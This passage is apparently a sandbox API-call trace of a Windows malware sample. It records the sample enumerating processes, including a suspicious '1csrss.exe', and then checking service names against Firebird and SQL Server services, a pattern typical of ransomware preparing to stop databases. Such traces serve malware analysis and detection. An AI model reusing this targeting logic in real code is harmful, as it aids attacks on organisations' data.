lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0312.384] lstrlenW (lpString="svchost.exe") returned 11 [0312.384] Process32NextW (in: hSnapshot=0x414, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0312.385] lstrlenW (lpString="audiodg.exe") returned 11 [0312.385] Process32NextW (in: hSnapshot=0x414, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0312.386] lstrlenW (lpString="sihost.exe") returned 10 [0312.386] Process32NextW (in: hSnapshot=0x414, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0312.386] lstrlenW (lpString="svchost.exe") returned 11 [0312.387] Process32NextW (in: hSnapshot=0x414, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0312.387] lstrlenW (lpString="taskhostw.exe") returned 13 [0312.387] Process32NextW (in: hSnapshot=0x414, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x9f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0312.388] lstrlenW (lpString="explorer.exe") returned 12 [0312.388] Process32NextW (in: hSnapshot=0x414, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0312.389] lstrlenW (lpString="SearchUI.exe") returned 12 [0312.389] Process32NextW (in: hSnapshot=0x414, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0312.391] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0312.391] Process32NextW (in: hSnapshot=0x414, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0312.392] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0312.392] Process32NextW (in: hSnapshot=0x414, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0xa08, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0312.393] lstrlenW (lpString="1csrss.exe") returned 10 [0312.393] Process32NextW (in: hSnapshot=0x414, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0312.394] lstrlenW (lpString="svchost.exe") returned 11 [0312.394] Process32NextW (in: hSnapshot=0x414, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x940, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0312.395] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0312.395] Process32NextW (in: hSnapshot=0x414, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0312.396] lstrlenW (lpString="svchost.exe") returned 11 [0312.396] Process32NextW (in: hSnapshot=0x414, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1ac, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0312.396] lstrlenW (lpString="consent.exe") returned 11 [0312.396] Process32NextW (in: hSnapshot=0x414, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0312.397] lstrlenW (lpString="dllhost.exe") returned 11 [0312.397] Process32NextW (in: hSnapshot=0x414, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0312.398] CloseHandle (hObject=0x414) returned 1 [0312.398] Sleep (dwMilliseconds=0x1f4) [0312.924] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7ddb88 [0312.924] EnumServicesStatusExW (in: hSCManager=0x7ddb88, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 0 [0312.925] GetLastError () returned 0xea [0312.925] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x1de6) returned 0x45eee80 [0312.925] EnumServicesStatusExW (in: hSCManager=0x7ddb88, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x45eee80, cbBufSize=0x1de6, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x45eee80, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 1 [0312.925] CloseServiceHandle (hSCObject=0x7ddb88) returned 1 [0312.925] lstrlenW (lpString="Appinfo") returned 7 [0312.925] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0312.925] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0312.925] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0312.925] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0312.926] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0312.926] lstrlenW (lpString="AppXSvc") returned 7 [0312.926] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0312.926] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0312.926] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0312.926] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0312.926] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0312.926] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0312.926] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0312.926] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0312.926] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0312.926] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0312.926] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0312.926] lstrlenW (lpString="Audiosrv") returned 8 [0312.926] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0312.926] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0312.926] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0312.926] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0312.926] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0312.926] lstrlenW (lpString="BFE") returned 3 [0312.926] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0312.926] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0312.926] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0312.926] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0312.926] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0312.926] lstrlenW (lpString="BITS") returned 4 [0312.926] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0312.926] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0312.926] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0312.926] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0312.926] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0312.927] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0312.927] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0312.927] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0312.927] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0312.927] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0312.927] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0312.927] lstrlenW (lpString="CDPSvc") returned 6 [0312.927] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0312.927] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0312.927] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0312.927] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0312.927] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0312.927] lstrlenW (lpString="ClickToRunSvc") returned 13 [0312.927] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0312.927] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0312.927] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0312.927] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0312.927] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0312.927] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0312.927] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0312.927] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0312.927] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0312.927] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0312.927] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0312.927] lstrlenW (lpString="CryptSvc") returned 8 [0312.927] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0312.927] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0312.927] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0312.927] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0312.927] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0312.927] lstrlenW (lpString="DcomLaunch") returned 10 [0312.928] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0312.928] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0312.928] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0312.928] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0312.928] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0312.928] lstrlenW (lpString="DeviceAssociationService") returned 24 [0312.928] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0312.928] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0312.928] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0312.928] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0312.928] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0312.928] lstrlenW (lpString="Dhcp") returned 4 [0312.928] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0312.928] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0312.928] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0312.928] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0312.928] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0312.928] lstrlenW (lpString="Dnscache") returned 8 [0312.928] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0312.928] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0312.928] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0312.928] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0312.928] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0312.928] lstrlenW (lpString="DoSvc") returned 5 [0312.928] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0312.928] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0312.928] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0312.928] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0312.928] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0312.928] lstrlenW (lpString="DPS") returned 3 [0312.929] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0312.929] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0312.929] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0312.929] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0312.929] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0312.929] lstrlenW (lpString="DusmSvc") returned 7 [0312.929] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0312.929] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0312.929] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0312.929] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0312.929] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0312.929] lstrlenW (lpString="EventLog") returned 8 [0312.929] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0312.929] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0312.929] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0312.929] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0312.929] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0312.929] lstrlenW (lpString="EventSystem") returned 11 [0312.929] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0312.929] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0312.929] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0312.929] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0312.929] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0312.929] lstrlenW (lpString="FontCache") returned 9 [0312.929] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0312.929] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0312.929] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0312.929] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0312.929] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0312.929] lstrlenW (lpString="gpsvc") returned 5 [0312.929] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0312.930] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0312.930] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0312.930] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0312.930] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0312.930] lstrlenW (lpString="iphlpsvc") returned 8 [0312.930] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0312.930] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0312.930] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0312.930] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0312.930] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0312.930] lstrlenW (lpString="KeyIso") returned 6 [0312.930] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0312.930] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0312.930] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0312.930] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0312.930] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0312.930] lstrlenW (lpString="LanmanServer") returned 12 [0312.930] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0312.930] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0312.930] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0312.930] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0312.930] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0312.930] lstrlenW (lpString="LanmanWorkstation") returned 17 [0312.930] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0312.930] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0312.930] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0312.930] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0312.930] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0312.930] lstrlenW (lpString="lfsvc") returned 5 [0312.930] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0312.931] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0312.931] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0312.931] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0312.931] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0312.931] lstrlenW (lpString="lmhosts") returned 7 [0312.931] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0312.931] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0312.931] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0312.931] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0312.931] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0312.931] lstrlenW (lpString="LSM") returned 3 [0312.931] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0312.933] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0312.933] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0312.933] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0312.933] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0312.933] lstrlenW (lpString="MapsBroker") returned 10 [0312.933] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0312.933] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0312.933] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0312.933] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0312.933] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0312.933] lstrlenW (lpString="MpsSvc") returned 6 [0312.933] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0312.933] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0312.933] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0312.933] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0312.934] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0312.934] lstrlenW (lpString="NcbService") returned 10 [0312.934] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0312.934] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0312.934] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0312.934] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0312.934] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0312.934] lstrlenW (lpString="netprofm") returned 8 [0312.934] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0312.934] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0312.934] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0312.934] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0312.934] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0312.934] lstrlenW (lpString="NgcSvc") returned 6 [0312.934] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0312.934] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0312.934] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0312.934] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0312.934] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0312.934] lstrlenW (lpString="NlaSvc") returned 6 [0312.934] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0312.934] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0312.934] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0312.934] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0312.934] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0312.934] lstrlenW (lpString="nsi") returned 3 [0312.935] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0312.935] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0312.935] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0312.935] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0312.935] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0312.935] lstrlenW (lpString="PcaSvc") returned 6 [0312.935] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0312.935] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0312.935] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0312.935] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0312.935] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0312.935] lstrlenW (lpString="PlugPlay") returned 8 [0312.935] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0312.935] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0312.935] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0312.935] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0312.935] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0312.935] lstrlenW (lpString="Power") returned 5 [0312.935] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0312.935] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0312.935] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0312.935] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0312.936] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0312.936] lstrlenW (lpString="ProfSvc") returned 7 [0312.936] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0312.936] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0312.936] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0312.936] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0312.936] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0312.936] lstrlenW (lpString="RpcEptMapper") returned 12 [0312.936] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0312.936] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0312.936] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0312.936] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0312.936] lstrcmpiW (lpString1="sqlserveradhelper", 